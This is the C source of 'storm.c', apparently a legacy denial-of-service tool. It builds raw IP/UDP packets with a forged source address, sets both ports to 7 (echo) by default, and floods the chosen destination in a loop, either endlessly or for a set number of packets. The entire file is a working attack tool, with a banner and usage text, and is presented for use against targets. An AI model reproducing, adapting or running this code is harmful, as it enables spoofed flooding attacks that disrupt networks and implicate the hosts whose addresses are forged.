#include <signal.h>

#include <stdio.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in_systm.h>

#include <netinet/in.h>

#include <net/if.h>

#include <netinet/ip.h>

#include <netinet/ip_udp.h>

#include <netdb.h>



#define PACKET_WAIT 1



int srcport = 7;

int dstport = 7;



int sen;

int i;



char *dsthost;

char *srchost;



unsigned long dst;

unsigned long src;



int        numpackets;

unsigned long packetsize;

char         *packet;



struct sockaddr_in srcaddr;

struct sockaddr_in dstaddr;



struct hostent *host;

struct udphdr *udp;

struct iphdr *ip;



void abort()

     {

	printf("# exiting...\n\n");

	close(sen);

	exit(0);

     }



void banner(void)

     {

/*	system("clear"); */

	printf("#    ,\n");

	printf("# ,`\n");

	printf("# ,  (vivid)storm.c by prym\n");

	printf("#  .\n");

	printf("#    `\n\n");

     }



void usage(char *progname)

     {

	printf("\tusage: %s <src> <dst> <packetsize> [sp] [dp] [num packets]\n\n",progname);

	printf("\t<src>         - source host\n");

	printf("\t<dst>         - destination host\n");

	printf("\t<packetsize>  - size of packets to send\n");

	printf("\t[sp]          - source port - default 7\n");

	printf("\t[dp]          - destination port - default 7\n");

	printf("\t[num packets] - number of packets to send\n\n");

	exit(1);

     }



void parse_args(int argc, char *argv[])

     {

	srchost                = argv[1];

	dsthost                = argv[2];

	packetsize             = atoi(argv[3]);

	if (argc>4) srcport    = atoi(argv[4]);

	if (argc>5) dstport    = atoi(argv[5]);

	if (argc>6) numpackets = atoi(argv[6]);

     }



void resolve_hosts(void)

     {

	memset(&srcaddr, 0, sizeof(struct sockaddr_in));

	srcaddr.sin_family      = AF_INET;

	srcaddr.sin_addr.s_addr = inet_addr(srchost);

	if (srcaddr.sin_addr.s_addr == -1)

	     {

		host = gethostbyname(srchost);

		if (host == NULL)

		     {

			printf("# unknown host %s\n",srchost);

			exit(1);

		     }

		srcaddr.sin_family = host->h_addrtype;

		memcpy((caddr_t) &srcaddr.sin_addr, host->h_addr, host->h_length);

	     }

	memcpy(&src, (char *)&srcaddr.sin_addr.s_addr, 4);

	memset(&dstaddr, 0, sizeof(struct sockaddr_in));

	dstaddr.sin_family      = AF_INET;

	dstaddr.sin_addr.s_addr = inet_addr(dsthost);

	if (dstaddr.sin_addr.s_addr == -1)

	     {

		host = gethostbyname(dsthost);

		if (host == NULL)

		     {

			printf("# unknown host %s\n", dsthost);

			exit(1);

		     }

		dstaddr.sin_family = host->h_addrtype;

		memcpy((caddr_t) &dstaddr.sin_addr, host->h_addr, host->h_length);

	     }

	memcpy(&dst, (char *)&dstaddr.sin_addr.s_addr, 4);

	printf("# source host - %s\n",srchost);

	printf("# destination host - %s\n",dsthost);

     }



unsigned short in_cksum(u_short *addr, int len)

     {

	register int nleft  = len;

	register u_short *w = addr;

	register int sum    = 0;

	u_short answer      = 0;

	while (nleft > 1)

	     {

		sum   += *w++;

		nleft -= 2;

	     }

	if (nleft == 1)

	     {

		*(u_char *)(&answer) = *(u_char *)w;

		sum                 += answer;

	     }

	sum    = (sum >> 16) + (sum & 0xffff);

	sum   += (sum >> 16);

	answer = ~sum;

	return(answer);

     }



main(int argc, char *argv[])

     { 

	banner();

	signal(SIGINT, abort);

	if (argc<4) usage(argv[0]);

	parse_args(argc, argv);

	resolve_hosts();

	printf("# source port - %d\n",srcport);

	printf("# destination port - %d\n",dstport);

	printf("# packet size - %d\n",packetsize);

	sen    = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

	packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize);

	ip  = (struct iphdr *)   packet;

	udp = (struct udphdr *) (packet + sizeof(struct iphdr));

	memset(packet, 0, sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize);

	ip->saddr    = src;

	ip->daddr    = dst;

	ip->version  = 4;

	ip->ihl      = 5; 

	ip->ttl      = 255;

	ip->protocol = IPPROTO_UDP;

	ip->tot_len  = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize);

	ip->check    = in_cksum(ip, sizeof(struct iphdr));

	udp->source  = htons(srcport);       

	udp->dest    = htons(dstport);

	udp->len     = htons(sizeof(struct udphdr) + packetsize);

	printf("# storming...\n");

	printf("# press ^c to stop...\n");

	if (numpackets)

	     {

		for (i=0;i<numpackets;i++)

		     {

			if (sendto(sen, packet, sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize, 0, &dstaddr, sizeof(struct sockaddr_in)) == -1)

			     {

				perror("# error: sending packet");

				exit(1);

			     }

			usleep(PACKET_WAIT);

		     }

	     }

	else

	     {

		for (;;)

		     {

			if (sendto(sen, packet, sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize, 0, &dstaddr, sizeof(struct sockaddr_in)) == -1)

			     {

				perror("# error: sending packet");

				exit(1);

			     }

			usleep(PACKET_WAIT);

		     }

	     }

     }